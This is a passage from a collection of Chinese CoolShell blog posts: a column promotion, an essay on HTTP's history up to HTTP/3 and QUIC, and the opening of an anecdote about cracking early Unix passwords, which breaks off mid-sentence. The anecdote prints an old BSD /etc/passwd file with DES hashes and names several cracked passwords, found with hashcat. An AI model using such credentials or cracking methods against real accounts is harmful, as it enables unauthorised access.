    "content": "---\nlayout: post\ntitle: 程序员练级攻略（2018)  与我的专栏\ndate: 2018/5/29/ 4:38:23\nupdated: 2018/5/29/ 4:38:23\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2018/05/专栏-300x262.jpg)写极客时间8个月了，我的专栏现在有一定的积累了，今天想自己推荐一下。因为最新的系列《程序员练级攻略（2018）版》正在连载中，而且文章积累量到了我也有比较足的自信向大家推荐我的这个专栏了。推荐就从最新的这一系统的文章开始。\n\n\n2011年，我在 [CoolShell](https://coolshell.cn/) 上发表了 《[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)》一文，得到了很多人的好评（转载的不算，在我的网站上都有近1000W的访问量了）。并且陆续收到了一些人的反馈，说跟着这篇文章找到了不错的工作。几年过去，也收到了好些邮件和私信，希望我把这篇文章更新一下，因为他们觉得有点落伍了。是的，**老实说，抛开这几年技术的更新迭代不说，那篇文章写得也不算特别系统，同时标准也有点低，当时是给一个想要入门的朋友写的，所以，非常有必要从头更新一下《程序员练级攻略》这一主题**。\n\n\n目前，我在我极客时间的专栏上更新《程序员练级攻略（2018版）》。升级版的《程序员练级攻略》会比Coolshell上的内容更多，也更专业。这篇文章有【入门篇】、【修养篇】、【专业基础篇】、【软件设计篇】、【高手成长篇】五大篇章，它们会帮助你从零开始，一步步地，系统地，从陌生到熟悉，到理解掌握，从编码到设计再到架构，从码农到程序员再到工程师再到架构师的一步一步进阶，完成从普通到精通到卓越的完美转身……\n\n\n这篇文章是我写得最累也是最痛苦的文章，原因如下：\n\n\n* **学习路径的梳理**。这是一份计算编程相关知识地图，也是一份成长和学习路径。所以有太多的推敲了，知识的路径，体，地图……这让我费了很多工夫，感觉像在编写一本教材一样，即不能太高大上，也不能误人子弟。\n* **新旧知识的取舍。**另外，因为我的成长经历中很多技术都成了过去时，所以对于新时代的程序员应该学习新的技术，然后，很多基础技术在今天依然管用，所以，在这点上，哪些要那些不要，也花了我很多的工夫。\n* **文章书籍的推荐**。为了推荐最好的学习资料和资源，老实说，我几乎翻遍了整个互联网，进行了大量的阅读和比较。这个过程让我也受益非浅。一开始，这篇文章的大小居然在500K左右，太多的信息就是没有信息，所以在信息的筛选上我花费了很多的工夫，删掉了60%的内容。但是，依然很宠大。\n\n\n**总之，你一定会被这篇文章的内容所吓到的，是的，我就是故意这样做的，因为，这本来就没有什么捷径，也不可能速成，很多知识都是硬骨头，你只能一口一口的啃，我故意这样做就是为了让你不要有“速成”的幻想，也可以轻而一举的吓退那些不想用功不想努力的人**。\n\n\n但是，我们也要知道《易经》有云：“**取法其上，得乎其中，取法其中，得乎其下，取法其下，法不得也**”。所以，我这里会给你立个比较高标准，你要努力达到，相信我，就算是达不到，也会比你一开始期望的要高很多……\n\n\n下面是这份练级攻略的目录，目前只在极客时间上发布，你需要付费阅读（在本文最后有相关的二维码）。\n\n\n\n![](../wp-content/uploads/2018/05/程序员练级攻略.png)\n\n\n \n\n\n那么，除程序员练级攻略外，我还写了哪些内容？下面是迄今为止我所有的文章的目录。你可以在下面看一下相关的目录。这也算是我开收费专栏来8个月给大家的一份答卷吧。我也没有想到，我居然写了这么多的文章，而且对很多人都很有用。\n\n\n首先是个人成长和经验之谈的东西，在这里的文章还没有完全更新完，未来要更新什么我也不清楚，但是可以呈现出来的内容和方向如下所示，供你参考。对于个人成长中的内容，都是我多年来的心得和体会，从读者的反馈来看是非常不错的，你一定要要阅读的。\n\n\n![](../wp-content/uploads/2018/05/个人成长和经验之谈-319x1024.png)\n\n\n分布式系统架构，我一共出了两个系列，一个是分布式系统架构的本质，另一个是设计模式。前者偏概念，后者偏技术。这里旨在让你看到整个分布式系统设计的一个非常系统的蓝图，但是因为在手机端上，不可能写得非常细，所以，会缺失一些细节，这些细节我是故意缺失的，主要是有几方面的原因，\n\n\n* 一方面，这是为了阅读的效果，手机上的文章不过长，所以，不能有太多的细节。\n* 另一方面，也是是想留给大家自行学习，而不是一定要我把饭喂到你的嘴里，你才能吃得着。**学习不只是为要答案，而是学方法**\n* 最后是我的私心，因为我也在创业，所以，技术细节上东西正是我在做的产品，所以，如果你想了解得更细，你需要和我有更商业合作。\n\n\n![](../wp-content/uploads/2018/05/分布式架构的本质.png)\n\n\n \n\n\n![](../wp-content/uploads/2018/05/分布式架构设计模式-弹力篇.png)\n\n\n![](../wp-content/uploads/2018/05/分布式架构设计模式-管理篇.png)\n\n\n![](../wp-content/uploads/2018/05/分布式架构设计模式-性能篇.png)\n\n\n区块链的技术专栏本来不在我的写作计划中的，但是因为来问我这方面的技术人太多了，所以，就被问了一系列的文章，这里的文章除了一些技术上的科普，同样有有很多我的观点，你不但可以学到技术，还可以了解一些金融知识和相关的逻辑，我个人觉得这篇文章是让你有独立思考的文章。\n\n\n![](../wp-content/uploads/2018/05/区块链技术.png)\n\n\n我的专栏还在继续，接下来还有一个系列的文章——《从技术到管理》，欢迎关注，也欢迎扫码订阅。\n\n\n**最后友情提示一下：在手机上学习并不是最好的学习方式，也不要在我的专栏上进行学习，把我的专栏当成一个你的助手，当成一个向导，当成一个跳板，真正的学习还是要在线下，专心的，系统地、有讨论地、不断实践地学习，这点希望大家切记！**\n\n\n \n\n\n![](../wp-content/uploads/2018/05/专栏.jpg)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/4758.html)[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html)\n* [![程序员眼中的编程语言](../wp-content/uploads/2009/12/language-fanboys-150x150.jpg)](https://coolshell.cn/articles/1992.html)[程序员眼中的编程语言](https://coolshell.cn/articles/1992.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\nThe post [程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2019-10-1 HTTP的前世今生.md",
    "content": "---\nlayout: post\ntitle: HTTP的前世今生\ndate: 2019/10/1/ 11:21:10\nupdated: 2019/10/1/ 11:21:10\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2019/10/HTTP-770x513-300x200.jpg)HTTP (Hypertext transfer protocol) 翻译成中文是超文本传输协议，是互联网上重要的一个协议，由欧洲核子研究委员会CERN的英国工程师 [Tim Berners-Lee](https://en.wikipedia.org/wiki/Tim_Berners-Lee) v发明的，同时，他也是WWW的发明人，最初的主要是用于传递通过HTML封装过的数据。在1991年发布了HTTP 0.9版，在1996年发布1.0版，1997年是1.1版，1.1版也是到今天为止传输最广泛的版本（初始[RFC 2068](https://tools.ietf.org/html/rfc2068) 在1997年发布， 然后在1999年被 [RFC 2616](https://tools.ietf.org/html/rfc2616) 取代，再在2014年被 [RFC 7230](https://tools.ietf.org/html/rfc7230) /[7231](https://tools.ietf.org/html/rfc7231)/[7232](https://tools.ietf.org/html/rfc7232)/[7233](https://tools.ietf.org/html/rfc7233)/[7234](https://tools.ietf.org/html/rfc7234)/[7235](https://tools.ietf.org/html/rfc7235)取代），2015年发布了2.0版，其极大的优化了HTTP/1.1的性能和安全性，而2018年发布的3.0版，继续优化HTTP/2，激进地使用UDP取代TCP协议，目前，HTTP/3 在2019年9月26日 被 Chrome，Firefox，和Cloudflare支持，所以我想写下这篇文章，简单地说一下HTTP的前世今生，让大家学到一些知识，并希望可以在推动一下HTTP标准协议的发展。\n\n\n#### HTTP 0.9 / 1.0\n\n\n0.9和1.0这两个版本，就是最传统的 request – response的模式了，HTTP 0.9版本的协议简单到极点，请求时，不支持请求头，只支持 `GET` 方法，没了。HTTP 1.0 扩展了0.9版，其中主要增加了几个变化：\n\n\n\n* 在请求中加入了HTTP版本号，如：`GET /coolshell/index.html HTTP/1.0`\n* HTTP 开始有 header了，不管是request还是response 都有header了。\n* 增加了HTTP Status Code 标识相关的状态码。\n* 还有 `Content-Type` 可以传输其它的文件了。\n\n\n我们可以看到，HTTP 1.0 开始让这个协议变得很文明了，一种工程文明。因为：\n\n\n* 一个协议有没有版本管理，是一个工程化的象征。\n* header是协议可以说是把元数据和业务数据解耦，也可以说是控制逻辑和业务逻辑的分离。\n* Status Code 的出现可以让请求双方以及第三方的监控或管理程序有了统一的认识。最关键是还是控制错误和业务错误的分离。\n\n\n（注：国内很多公司HTTP无论对错只返回200，这种把HTTP Status Code 全部抹掉完全是一种工程界的倒退）\n\n\n但是，HTTP1.0性能上有一个很大的问题，那就是每请求一个资源都要新建一个TCP链接，而且是串行请求，所以，就算网络变快了，打开网页的速度也还是很慢。所以，HTTP 1.0 应该是一个必需要淘汰的协议了。\n\n\n####  HTTP/1.1\n\n\nHTTP/1.1 主要解决了HTTP 1.0的网络性能的问题，以及增加了一些新的东西：\n\n\n* 可以设置 `keepalive` 来让HTTP重用TCP链接，重用TCP链接可以省了每次请求都要在广域网上进行的TCP的三次握手的巨大开销。这是所谓的“**HTTP 长链接**” 或是 “**请求响应式的HTTP 持久链接**”。英文叫 HTTP Persistent connection.\n* 然后支持pipeline网络传输，只要第一个请求发出去了，不必等其回来，就可以发第二个请求出去，可以减少整体的响应时间。（注：非幂等的POST 方法或是有依赖的请求是不能被pipeline化的）\n* 支持 Chunked Responses ，也就是说，在Response的时候，不必说明 `Content-Length` 这样，客户端就不能断连接，直到收到服务端的EOF标识。这种技术又叫 “**服务端Push模型**”，或是 “**服务端Push式的HTTP 持久链接**”\n* 还增加了 cache control 机制。\n* 协议头注增加了 Language, Encoding, Type 等等头，让客户端可以跟服务器端进行更多的协商。\n* 还正式加入了一个很重要的头—— `[HOST](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Host)`这样的话，服务器就知道你要请求哪个网站了。因为可以有多个域名解析到同一个IP上，要区分用户是请求的哪个域名，就需要在HTTP的协议中加入域名的信息，而不是被DNS转换过的IP信息。\n* 正式加入了 `OPTIONS` 方法，其主要用于 [CORS – Cross Origin Resource Sharing](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) 应用。\n\n\nHTTP/1.1应该分成两个时代，一个是2014年前，一个是2014年后，因为2014年HTTP/1.1有了一组RFC（[7230](https://tools.ietf.org/html/rfc7230) /[7231](https://tools.ietf.org/html/rfc7231)/[7232](https://tools.ietf.org/html/rfc7232)/[7233](https://tools.ietf.org/html/rfc7233)/[7234](https://tools.ietf.org/html/rfc7234)/[7235](https://tools.ietf.org/html/rfc7235)），这组RFC又叫“HTTP/2 预览版”。其中影响HTTP发展的是两个大的需求：\n\n\n* 一个需要是加大了HTTP的安全性，这样就可以让HTTP应用得广泛，比如，使用TLS协议。\n* 另一个是让HTTP可以支持更多的应用，在HTTP/1.1 下，HTTP已经支持四种网络协议：\n\t+ 传统的短链接。\n\t+ 可重用TCP的的长链接模型。\n\t+ 服务端push的模型。\n\t+ WebSocket模型。\n\n\n自从2005年以来，整个世界的应用API越来多，这些都造就了整个世界在推动HTTP的前进，我们可以看到，**自2014的HTTP/1.1 以来，这个世界基本的应用协议的标准基本上都是向HTTP看齐了，也许2014年前，还有一些专用的RPC协议，但是2014年以后，HTTP协议的增强，让我们实在找不出什么理由不向标准靠拢，还要重新发明轮子了。**\n\n\n#### HTTP/2\n\n\n虽然 HTTP/1.1 已经开始变成应用层通讯协议的一等公民了，但是还是有性能问题，虽然HTTP/1.1 可以重用TCP链接，但是请求还是一个一个串行发的，需要保证其顺序。然而，大量的网页请求中都是些资源类的东西，这些东西占了整个HTTP请求中最多的传输数据量。所以，理论上来说，如果能够并行这些请求，那就会增加更大的网络吞吐和性能。\n\n\n另外，HTTP/1.1传输数据时，是以文本的方式，借助耗CPU的zip压缩的方式减少网络带宽，但是耗了前端和后端的CPU。这也是为什么很多RPC协议诟病HTTP的一个原因，就是数据传输的成本比较大。\n\n\n其实，在2010年时，Google 就在搞一个实验型的协议，这个协议叫[SPDY](https://en.wikipedia.org/wiki/SPDY)，这个协议成为了HTTP/2的基础（也可以说成HTTP/2就是SPDY的复刻）。HTTP/2基本上解决了之前的这些性能问题，其和HTTP/1.1最主要的不同是：\n\n\n* HTTP/2是一个二进制协议，增加了数据传输的效率。\n* HTTP/2是可以在一个TCP链接中并发请求多个HTTP请求，移除了HTTP/1.1中的串行请求。\n* HTTP/2会压缩头，如果你同时发出多个请求，他们的头是一样的或是相似的，那么，协议会帮你消除重复的部分。这就是所谓的HPACK算法（参看[RFC 7541](https://tools.ietf.org/html/rfc7541) 附录A）\n* HTTP/2允许服务端在客户端放cache，又叫服务端push，也就是说，你没有请求的东西，我服务端可以先送给你放在你的本地缓存中。比如，你请求X，我服务端知道X依赖于Y，虽然你没有的请求Y，但我把把Y跟着X的请求一起返回客户端。\n\n\n对于这些性能上的改善，在Medium上有篇文章你可看一下相关的细节说明和测试“[HTTP/2: the difference between HTTP/1.1, benefits and how to use it](https://medium.com/@factoryhr/http-2-the-difference-between-http-1-1-benefits-and-how-to-use-it-38094fa0e95b)”\n\n\n当然，还需要注意到的是HTTP/2的协议复杂度比之前所有的HTTP协议的复杂度都上升了许多许多，其内部还有很多看不见的东西，比如其需要维护一个“优先级树”来用于来做一些资源和请求的调度和控制。如此复杂的协议，自然会产生一些不同的声音，或是降低协议的可维护和可扩展性。所以也有一些争议。尽管如此，HTTP/2还是很快地被世界所采用。\n\n\nHTTP/2 是2015年推出的，其发布后，Google 宣布移除对SPDY的支持，拥抱标准的 HTTP/2。过了一年后，就有8.7%的网站开启了HTTP/2，根据 [这份报告](https://w3techs.com/technologies/details/ce-http2/all/all) ，截止至本文发布时（2019年10月1日 ）， 在全世界范围内已经有41%的网站开启了HTTP/2。\n\n\nHTTP/2的官方组织在 Github 上维护了一份[各种语言对HTTP/2的实现列表](https://github.com/http2/http2-spec/wiki/Implementations)，大家可以去看看。\n\n\n我们可以看到，HTTP/2 在性能上对HTTP有质的提高，所以，HTTP/2 被采用的也很快，所以，**如果你在你的公司内负责架构的话，HTTP/2是你一个非常重要的需要推动的一个事，除了因为性能上的问题，推动标准落地也是架构师的主要职责，因为，你企业内部的架构越标准，你可以使用到开源软件，或是开发方式就会越有效率，跟随着工业界的标准的发展，你的企业会非常自然的享受到标准所带来的红利。**\n\n\n#### HTTP/3\n\n\n然而，这个世界没有完美的解决方案，HTTP/2也不例外，其主要的问题是：若干个HTTP的请求在复用一个TCP的连接，底层的TCP协议是不知道上层有多少个HTTP的请求的，所以，一旦发生丢包，造成的问题就是所有的HTTP请求都必需等待这个丢了的包被重传回来，哪怕丢的那个包不是我这个HTTP请求的。因为TCP底层是没有这个知识了。\n\n\n这个问题又叫[Head-of-Line Blocking](https://en.wikipedia.org/wiki/Head-of-line_blocking)问题，这也是一个比较经典的流量调度的问题。这个问题最早主要的发生的交换机上。下图来自Wikipedia。\n\n\n![](../wp-content/uploads/2019/10/HOL_blocking.png)\n\n\n图中，左边的是输入队列，其中的1，2，3，4表示四个队列，四个队列中的1，2，3，4要去的右边的output的端口号。此时，第一个队列和第三个队列都要写右边的第四个端口，然后，一个时刻只能处理一个包，所以，一个队列只能在那等另一个队列写完后。然后，其此时的3号或1号端口是空闲的，而队列中的要去1和3号端号的数据，被第四号端口给block住了。这就是所谓的HOL blocking问题。\n\n\nHTTP/1.1中的pipeline中如果有一个请求block了，那么队列后请求也统统被block住了；HTTP/2 多请求复用一个TCP连接，一旦发生丢包，就会block住所有的HTTP请求。这样的问题很讨厌。好像基本无解了。\n\n\n是的TCP是无解了，但是UDP是有解的 ！**于是HTTP/3破天荒地把HTTP底层的TCP协议改成了UDP！**\n\n\n然后又是Google 家的协议进入了标准 – QUIC （Quick UDP Internet Connections）。接下来是QUIC协议的几个重要的特性，为了讲清楚这些特性，我需要带着问题来讲（注：下面的网络知识，如果你看不懂的话，你需要学习一下《[TCP/IP详解](https://book.douban.com/subject/1088054/)》一书（在我写blog的这15年里，这本书推荐了无数次了），或是看一下本站的《[TCP的那些事](https://coolshell.cn/articles/11564.html)》。）：\n\n\n* 首先是上面的Head-of-Line blocking问题，在UDP的世界中，这个就没了。这个应该比较好理解，因为UDP不管顺序，不管丢包（当然，QUIC的一个任务是要像TCP的一个稳定，所以QUIC有自己的丢包重传的机制）\n* TCP是一个无私的协议，也就是说，如果网络上出现拥塞，大家都会丢包，于是大家都会进入拥塞控制的算法中，这个算法会让所有人都“冷静”下来，然后进入一个“慢启动”的过程，包括在TCP连接建立时，这个慢启动也在，所以导致TCP性能迸发地比较慢。QUIC基于UDP，使用更为激进的方式。同时，QUIC有一套自己的丢包重传和拥塞控制的协，一开始QUIC是重新实现一TCP 的 CUBIC算法，但是随着BBR算法的成熟（BBR也在借鉴CUBIC算法的数学模型），QUIC也可以使用BBR算法。这里，多说几句，**从模型来说，以前的TCP的拥塞控制算法玩的是数学模型，而新型的TCP拥塞控制算法是以BBR为代表的测量模型**，理论上来说，后者会更好，但QUIC的团队在一开始觉得BBR不如CUBIC的算法好，所以没有用。现在的BBR 2.x借鉴了CUBIC数学模型让拥塞控制更公平。这里有文章大家可以一读“[TCP BBR : Magic dust for network performance.](https://medium.com/google-cloud/tcp-bbr-magic-dust-for-network-performance-57a5f1ccf437)”\n* 接下来，现在要建立一个HTTPS的连接，先是TCP的三次握手，然后是TLS的三次握手，要整出六次网络交互，一个链接才建好，虽说HTTP/1.1和HTTP/2的连接复用解决这个问题，但是基于UDP后，UDP也得要实现这个事。于是QUIC直接把TCP的和TLS的合并成了三次握手（对此，在HTTP/2的时候，是否默认开启TLS业内是有争议的，反对派说，TLS在一些情况下是不需要的，比如企业内网的时候，而支持派则说，TLS的那些开销，什么也不算了）。\n\n\n\n\n|  |  |\n| --- | --- |\n|  |  |\n\n\n \n\n\n所以，QUIC是一个在UDP之上的伪TCP +TLS +HTTP/2的多路复用的协议。\n\n\n但是对于UDP还是有一些挑战的，这个挑战主要来自互联网上的各种网络设备，这些设备根本不知道是什么QUIC，他们看QUIC就只能看到的就是UDP，所以，在一些情况下，UDP就是有问题的，\n\n\n* 比如在NAT的环境下，如果是TCP的话，NAT路由或是代理服务器，可以通过记录TCP的四元组（源地址、源端口，目标地址，目标端口）来做连接映射的，然而，在UDP的情况下不行了。于是，QUIC引入了个叫connection id的不透明的ID来标识一个链接，用这种业务ID很爽的一个事是，如果你从你的3G/4G的网络切到WiFi网络（或是反过来），你的链接不会断，因为我们用的是connection id，而不是四元组。\n\n\n* 然而就算引用了connection id，也还是会有问题 ，比如一些不够“聪明”的等价路由交换机，这些交换机会通过四元组来做hash把你的请求的IP转到后端的实际的服务器上，然而，他们不懂connection id，只懂四元组，这么导致属于同一个connection id但是四元组不同的网络包就转到了不同的服务器上，这就是导致数据不能传到同一台服务器上，数据不完整，链接只能断了。所以，你需要更聪明的算法（可以参看 Facebook 的 [Katran](https://github.com/facebookincubator/katran) 开源项目 ）\n\n\n好了，就算搞定上面的东西，还有一些业务层的事没解，这个事就是 HTTP/2的头压缩算法 HPACK，HPACK需要维护一个动态的字典表来分析请求的头中哪些是重复的，HPACK的这个数据结构需要在encoder和decoder端同步这个东西。在TCP上，这种同步是透明的，然而在UDP上这个事不好干了。所以，这个事也必需要重新设计了，基于QUIC的QPACK就出来了，利用两个附加的QUIC steam，一个用来发送这个字典表的更新给对方，另一个用来ack对方发过来的update。\n\n\n目前看下来，HTTP/3目前看上去没有太多的协议业务逻辑上的东西，更多是HTTP/2 + QUIC协议。但，HTTP/3 因为动到了底层协议，所以，在普及方面上可能会比 HTTP/2要慢的多的多。但是，可以看到QUIC协议的强大，细思及恐，QUIC这个协议真对TCP是个威胁，如果QUIC成熟了，TCP是不是会有可能成为历史呢？\n\n\n未来十年，让我们看看UDP是否能够逆袭TCP……\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [![从一次经历谈 TIME_WAIT 的那些事](../wp-content/uploads/2022/07/wall_clock-300x167-1-150x150.jpeg)](https://coolshell.cn/articles/22263.html)[从一次经历谈 TIME\\_WAIT 的那些事](https://coolshell.cn/articles/22263.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![网络数字身份认证术](../wp-content/uploads/2022/01/iStock-1175502114-150x150.png)](https://coolshell.cn/articles/21708.html)[网络数字身份认证术](https://coolshell.cn/articles/21708.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![TCP 的那些事儿（下）](../wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg)](https://coolshell.cn/articles/11609.html)[TCP 的那些事儿（下）](https://coolshell.cn/articles/11609.html)\nThe post [HTTP的前世今生](https://coolshell.cn/articles/19840.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2019-11-3 Unix 50 年：Ken Thompson 的密码.md",
    "content": "---\nlayout: post\ntitle: Unix 50 年：Ken Thompson 的密码\ndate: 2019/11/3/ 6:12:54\nupdated: 2019/11/3/ 6:12:54\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2019/11/ken.dennis-300x186.jpeg)50年前，除了Apollo上天之外，还有一个大事的发生，就是Unix操作系统的诞生，若干年前我写过《Unix的传奇，[上篇](https://coolshell.cn/articles/2322.html)，[下篇](https://coolshell.cn/articles/2324.html)》，Unix是我入行前十年伴我成长的操作系统，虽然现在Linux早已接过了Unix的时代交接棒，但是，Unix文化对我个人的技术观影响是非常大的（注：《[Unix编程艺术](https://book.douban.com/subject/1467587/)》是一本对影响我很深的书），而对于 [Ken Thompson](https://en.wikipedia.org/wiki/Ken_Thompson) 和 [Dennis Ritchie](https://en.wikipedia.org/wiki/Dennis_Ritchie) 这两位 Unix 的缔造者，也是计算机圈中的神一般的人物。今天，Dennis已经去逝，Ken在Google里跟 Rob Pike和 Robert Griesemer 这两位大神在开发Go语言。\n\n\nP.S. 今年，我一直想写篇Unix 50周年纪念的文章，但一直无从下手，因为不想写过大的命题，如果能写个轶事最好不过。正好过完国庆节，技术圈里有个“热搜”——Ken Thompson的密码。但一直没有时间，所以拖到今天才写下来。\n\n\n正文开始，2014年，有个叫Leah Neukirchen的程序员（[blog](https://leahneukirchen.org/blog/)）在 BSD 3 的源代码中的 `[/etc/passwd](https://leahneukirchen.org/blog/archive/2019/10/ken-thompson-s-unix-password.html)` 看到了早年Unix黑客们的被 hash了的密码，该文件如下所示：\n\n\n\n\n```\nroot:OVCPatZ8RFmFY:0:10:Ernie Co-vax,4156427925:/:\ndaemon:*:1:1:The devil himself:/:\nbill:.2xvLVqGHJm8M:8:10:& Joy,4156424948:/usr/bill:/bin/csh\nozalp:m5syt3.lB5LAE:40:10:& Babaoglu,4156423806:/usr/ozalp:/bin/csh\nsklower:8PYh/dUBQT9Ss:2:10:Keith &,4156424972:/usr/staff/sklower:/bin/csh\nkridle:4BkcEieEtjWXI:3:10:Bob &,4156426744:/usr/staff/kridle:/bin/csh\nkurt:olqH1vDqH38aw:4:10:& Shoens,4156420572:/usr/staff/kurt:/bin/csh\nschmidt:FH83PFo4z55cU:7:10:Eric &,4156424951:/usr/staff/schmidt:/bin/csh\nhpk:9ycwM8mmmcp4Q:9:10:Howard Katseff,2019495337:/usr/staff/hpk:/bin/csh\ntbl:cBWEbG59spEmM:10:10:Tom London,2019492006:/usr/staff/tbl:\njfr:X.ZNnZrciWauE:11:10:John Reiser:/usr/staff/jfr:\nmark:Pb1AmSpsVPG0Y:12:10:& Horton,4156428311:/usr/staff/mark:/bin/csh\ndmr:gfVwhuAMF0Trw:42:10:Dennis Ritchie:/usr/staff/dmr:\nken:ZghOT0eRm4U9s:52:10:& Thompson:/usr/staff/ken:\nsif:IIVxQSvq1V9R2:53:10:Stuart Feldman:/usr/staff/sif:\nscj:IL2bmGECQJgbk:60:10:Steve Johnson:/usr/staff/scj:\npjw:N33.MCNcTh5Qw:61:10:Peter J. Weinberger,2015827214:/usr/staff/pjw:/bin/csh\nbwk:ymVglQZjbWYDE:62:10:Brian W. Kernighan,2015826021:/usr/staff/bwk:\nuucp:P0CHBwE/mB51k:66:10:UNIX-to-UNIX Copy:/usr/spool/uucp:/usr/lib/uucp/uucico\nsrb:c8UdIntIZCUIA:68:10:Steve Bourne,2015825829:/usr/staff/srb:\nfinger::199:199:The & Program:/usr/ucb:/usr/ucb/finger\nwho::199:199:The & Program:/usr/ucb:/bin/who\nw::199:199:The & Program:/usr/ucb:/usr/ucb/w\nmckusick:AAZk9Aj5/Ue0E:201:10:Kirk &,4156424948:/usr/staff/mckusick:/bin/csh\npeter:Nc3IkFJyW2u7E:202:10:& Kessler,4156424948:/usr/staff/peter:/bin/csh\nhenry:lj1vXnxTAPnDc:203:10:Robert &,4156424948:/usr/staff/henry:/bin/csh\njkf:9ULn5cWTc0b9E:209:10:John Foderaro,4156424972:/usr/staff/jkf:/bin/csh\nfateman:E9i8fWghn1p/I:300:10:Richard &,4156421879:/usr/staff/fateman:/bin/csh\nfabry:d9B17PTU2RTlM:305:10:Bob &,4156422714:/usr/staff/fabry:/bin/csh\nnetwork:9EZLtSYjeEABE:501:50:*:/usr/net/network:/usr/net/network/nsh\ntty::504:50::/:/bin/tty我\n```\n\n（注，以前Unix是一个服务器，所有人都用一个终端到服务器上进行操作，于是，这个服务上的 `/etc/passwd` 下保存着所有的人的登录密码，能让所有的人都能读到，为了不让别人猜到，这个文件中的密码保存（第二列）被做过哈希处理）\n\n\n这位程序员一看，这些个用户不就是[Dennis Ritchie](https://en.wikipedia.org/wiki/Dennis_Ritchie), [Ken Thompson](https://en.wikipedia.org/wiki/Ken_Thompson), [Brian W. Kernighan](https://en.wikipedia.org/wiki/Brian_Kernighan), [Steve Bourne](https://en.wikipedia.org/wiki/Stephen_R._Bourne), [Bill Joy](https://en.wikipedia.org/wiki/Bill_Joy) 这些神人的密码吗？！于是，他想看看这些人用什么样的密码。考虑到当时的加密算法用的是基于DES的 [crypt(3)](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V7/usr/man/man3/crypt.3) 算法（这个算法今天还在用，像Perl/PHP/Python/Ruby都提供`crypt()` 函数），而且当时的密码最长只支持8个长度，所以，感觉还是很容易暴力破解的。\n\n\n一般来说，暴力破解的这种hash密码的工具主要是用[hashcat](https://hashcat.net/) 或 [john](https://www.openwall.com/john/) ，很快，Leah 破解了大多数人的密码，因为大多数都使用的是比较弱的密码，比如： [Brian W. Kernighan](https://en.wikipedia.org/wiki/Brian_Kernighan) （`bwk`）使用了 `/.,/.,` 这样的密码，而 [Dennis Ritchie](https://en.wikipedia.org/wiki/Dennis_Ritchie) （`dmr`）则使用了 `dmac` 这样的密码。然后，在破解到 Ken Thompson的密码时，搞不定了，花了好几天穷举完了所有的小写字母+数字都没有找到。\n\n\n因为这个`crypt`的算法也是Ken Thompson 和 Robert Morris 写的，他们在40年前就发现，原来的hash算法太快了，这样很容易被暴力穷举，于是在第七版的Unix（1979年发布），他们把算法改成DES的算法，就是要让这个算法变慢。详细地说，用户密码被截断为八个字符，每个字符仅被压缩为7位。这形成56位DES密钥。然后，该密钥用于加密全零位块，然后再次使用相同的密钥对密文进行加密，依此类推，总共进行了25次DES加密。感觉跟区块链的“挖矿”有点像。**在最早的Unix计算机上，这个算法需要花了整整一秒钟的时间来计算密码哈希**。\n\n\n这几十年来，计算机的计算速度根据摩尔定律至少double了20次，所以，DES算法已经很容被攻击了，然而，对于Ken Thompson的密码，在2014年还是很不容易被破解的，因为，**如果要加上所有的大小写字符数字和其它特殊字符，那么，在2014年，就算用最快的GPU来穷举所有的8位长度的密码，也需要花上至少2年以上的时间**。\n\n\n在2019年10月份，在 [The Unix Heritage Society](https://www.tuhs.org/) 这个社区中，[这个事又被人问起来](https://inbox.vuxu.org/tuhs/6dceffe228804a76de1e12f18d1fc0dc@inventati.org/)，说以前有个人破解这些密码，不知道有没有全破解出来了？于是Leah看到了，就回应说，那个人是我，但是还是没干出来……于是好些人进来留言。\n\n\n5天后，2019年10月08日，一个来自澳大利亚的程序员Nigel Williams说，[Ken的密码我破解出来了](https://inbox.vuxu.org/tuhs/CACCFpdx_6oeyNkgH_5jgfxbxWbZ6VtOXQNKOsonHPF2=747ZOw@mail.gmail.com/)，哈希串`ZghOT0eRm4U9s` 明文是 `p/q2-q4!`（果然是有数字有特殊字符），小伙说，我在 AMD Radeon Vega 64 的 GPU上运行了 `hashcat` 这个命令，干了我 